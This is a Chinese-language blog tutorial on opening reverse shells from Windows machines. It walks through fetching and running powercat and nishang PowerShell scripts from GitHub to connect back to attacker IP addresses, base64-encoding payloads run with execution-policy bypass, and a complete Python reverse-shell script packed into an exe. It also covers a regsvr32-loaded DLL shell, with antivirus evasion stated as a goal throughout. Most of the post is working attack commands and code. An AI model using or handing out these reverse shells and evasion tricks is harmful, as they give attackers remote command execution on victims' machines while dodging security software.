美文网首页
windows命令行反弹shell(一)

windows命令行反弹shell(一)

作者: CSeroad | 来源:发表于2019-11-04 11:38 被阅读0次

    前言

    实战中会遇到各种AV,有时候无法直接反弹到msf或CS中。我们可以婉转一些,先反弹到cmd里再想办法bypass。

    powershell反弹cmd

    powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。
    被攻击端运行命令

    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
    

    攻击端用nc监听。
    即可反弹出cmd。

    powershell反弹powershell

    使用nishang框架,有许多反弹脚本。
    https://github.com/samratashok/nishang
    详情参考
    powershell反弹shell常见方式
    被攻击端运行命令

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.203.140 -port 6666
    

    攻击端用nc监听。
    即可反弹出powershell。
    注意某些特殊情况需要将powershell脚本进行base64编码,才能成功反弹。比如sqlserver的命令执行、php中system函数的执行

    base64编码处理

    $text="IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.203.140/a.ps1'))"
    $Bytes=[System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText =[Convert]::ToBase64String($Bytes)
    $EncodedText > bs64.txt
    

    将bs64.txt源码拷贝到下面命令。
    被攻击端运行即可。

    powershell -exec bypass -encodedcommand base64.txt
    

    攻击端用nc监听即可。

    python反弹cmd

    可以用python编写反弹cmd的代码。参考大佬的代码改写而成,更简单使用一些。

    # -*- coding:utf-8 -*-
    import os
    import select
    import socket
    import sys
    import subprocess
    
    def ReserveConnect(addr, port):
        '''反弹连接shell'''
        try:
            shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            shell.connect((addr,port))
        except Exception as reason:
            print ('[-] Failed to Create Socket : %s'%reason)
            exit(0)
        rlist = [shell]
        wlist = []
        elist = [shell]
        while True:
            shell.send("cmd:")
            rs,ws,es = select.select(rlist,wlist,wlist)
            for sockfd in rs:
                if sockfd == shell:
                    command = shell.recv(1024)
                    if command == 'exit':
                        shell.close()
                        break
                    result, error = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()
                    shell.sendall(result.decode("GB2312").encode("UTF-8"))
    
    # 主函数运行
    def run():
        if len(sys.argv)<3:
            print('Usage: python reverse.py [IP] [PORT]')
        else:
            url = sys.argv[1]
            port = int(sys.argv[2])
            ReserveConnect(url,port)
    
    if __name__ == '__main__':
        run()
    

    考虑实战中可能没有python环境
    可以先在本地上使用pyinstaller将改文件打包为exe文件,实战中直接上传exe运行即可。

    pythinstaller -Fw  reverse.py
    

    被攻击端运行命令

    reverse.exe 192.168.203.140 4455
    

    攻击端用nc监听,即可反弹cmd。实际测试bypass av效果也比较好。

    image.png

    参考大佬源代码
    Windows下的shell原理

    dll反弹cmd

    无意逛博客发现的一个工具。来源t00ls
    下载地址:
    链接:https://pan.baidu.com/s/1oO8k4VYHf6CmW-WcDAH4SA 密码:ylv3

    image.png

    傻瓜式操作。
    将生成的dll文件上传至被攻击端。运行命令

    regsvr32 /s /u server.dll
    

    攻击端用nc监听,即可反弹cmd。测试bypass av效果也不错

    相关文章

      网友评论

          本文标题:windows命令行反弹shell(一)

          本文链接:https://www.haomeiwen.com/subject/zgkqbctx.html